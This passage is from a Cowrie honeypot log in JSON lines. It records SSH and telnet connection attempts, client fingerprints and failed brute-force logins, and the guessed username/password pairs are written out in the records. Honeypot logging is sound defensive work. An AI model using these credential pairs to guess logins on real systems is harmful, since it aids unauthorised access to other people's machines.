03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:36.649527Z","src_ip":"5.182.83.231","session":"deda7e117c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123a@","message":"login attempt [root/123123a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:37.125138Z","src_ip":"5.182.83.231","session":"deda7e117c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:37.502147Z","src_ip":"103.148.100.146","session":"8a908543c87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:38.237241Z","src_ip":"5.182.83.231","session":"deda7e117c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":44904,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9383ad04cca","protocol":"ssh","message":"New connection: 210.90.155.178:44904 (159.203.135.109:22) [session: d9383ad04cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:01.479611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:01.485948Z","src_ip":"210.90.155.178","session":"d9383ad04cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:01.686890Z","src_ip":"210.90.155.178","session":"d9383ad04cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123","message":"login attempt [test1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:02.505545Z","src_ip":"210.90.155.178","session":"d9383ad04cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:03.713418Z","src_ip":"210.90.155.178","session":"d9383ad04cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":47822,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c567956cec8","protocol":"ssh","message":"New connection: 200.90.8.86:47822 (10.17.0.5:22) [session: 8c567956cec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:06.156008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:06.162201Z","src_ip":"200.90.8.86","session":"8c567956cec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:06.269280Z","src_ip":"200.90.8.86","session":"8c567956cec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:06.711866Z","src_ip":"200.90.8.86","session":"8c567956cec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:07.819783Z","src_ip":"200.90.8.86","session":"8c567956cec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42802,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c341af1690c","protocol":"ssh","message":"New connection: 103.176.20.57:42802 (10.17.0.5:22) [session: 8c341af1690c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:42.897819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:42.911343Z","src_ip":"103.176.20.57","session":"8c341af1690c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:43.152404Z","src_ip":"103.176.20.57","session":"8c341af1690c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:44.153350Z","src_ip":"103.176.20.57","session":"8c341af1690c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:20:45.409489Z","src_ip":"103.176.20.57","session":"8c341af1690c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":7431,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b6f8e1fadc8","protocol":"ssh","message":"New connection: 220.247.224.226:7431 (10.17.0.5:22) [session: 5b6f8e1fadc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:00.738549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:00.745425Z","src_ip":"220.247.224.226","session":"5b6f8e1fadc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:00.982677Z","src_ip":"220.247.224.226","session":"5b6f8e1fadc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com.cn","message":"login attempt [root/123.com.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:01.932288Z","src_ip":"220.247.224.226","session":"5b6f8e1fadc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:03.169152Z","src_ip":"220.247.224.226","session":"5b6f8e1fadc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":37304,"dst_ip":"159.203.135.109","dst_port":22,"session":"56a75119a2c0","protocol":"ssh","message":"New connection: 103.148.100.146:37304 (159.203.135.109:22) [session: 56a75119a2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:09.447448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:09.453113Z","src_ip":"103.148.100.146","session":"56a75119a2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:09.711259Z","src_ip":"103.148.100.146","session":"56a75119a2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador2024","message":"login attempt [operador/operador2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:10.780074Z","src_ip":"103.148.100.146","session":"56a75119a2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:12.042052Z","src_ip":"103.148.100.146","session":"56a75119a2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01414966583252,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:28.048362Z","src_ip":"191.0.122.57","session":"3f5344bcd2fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":7905,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd0c2d69213","protocol":"telnet","message":"New connection: 191.0.122.57:7905 (159.203.135.109:23) [session: 1dd0c2d69213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:28.483465Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b66a1433bbf","protocol":"ssh","message":"New connection: 210.90.155.178:47258 (159.203.135.109:22) [session: 7b66a1433bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:34.960098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:34.966575Z","src_ip":"210.90.155.178","session":"7b66a1433bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:35.163526Z","src_ip":"210.90.155.178","session":"7b66a1433bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd11","message":"login attempt [root/P@ssw0rd11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:35.980572Z","src_ip":"210.90.155.178","session":"7b66a1433bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:37.180060Z","src_ip":"210.90.155.178","session":"7b66a1433bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":54844,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f37194aad7a","protocol":"ssh","message":"New connection: 5.182.83.231:54844 (10.17.0.5:22) [session: 7f37194aad7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:38.842494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:38.847505Z","src_ip":"5.182.83.231","session":"7f37194aad7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:38.960321Z","src_ip":"5.182.83.231","session":"7f37194aad7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prod","password":"prod123","message":"login attempt [prod/prod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:39.481997Z","src_ip":"5.182.83.231","session":"7f37194aad7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:40.598924Z","src_ip":"5.182.83.231","session":"7f37194aad7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":46598,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdda3db761d5","protocol":"ssh","message":"New connection: 200.90.8.86:46598 (10.17.0.5:22) [session: cdda3db761d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:43.896001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:43.901731Z","src_ip":"200.90.8.86","session":"cdda3db761d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:43.992986Z","src_ip":"200.90.8.86","session":"cdda3db761d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewer","password":"viewer","message":"login attempt [viewer/viewer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:44.379786Z","src_ip":"200.90.8.86","session":"cdda3db761d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:45.471849Z","src_ip":"200.90.8.86","session":"cdda3db761d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":54674,"dst_ip":"10.17.0.5","dst_port":22,"session":"140bbdff762a","protocol":"ssh","message":"New connection: 208.87.242.107:54674 (10.17.0.5:22) [session: 140bbdff762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.270178Z"}
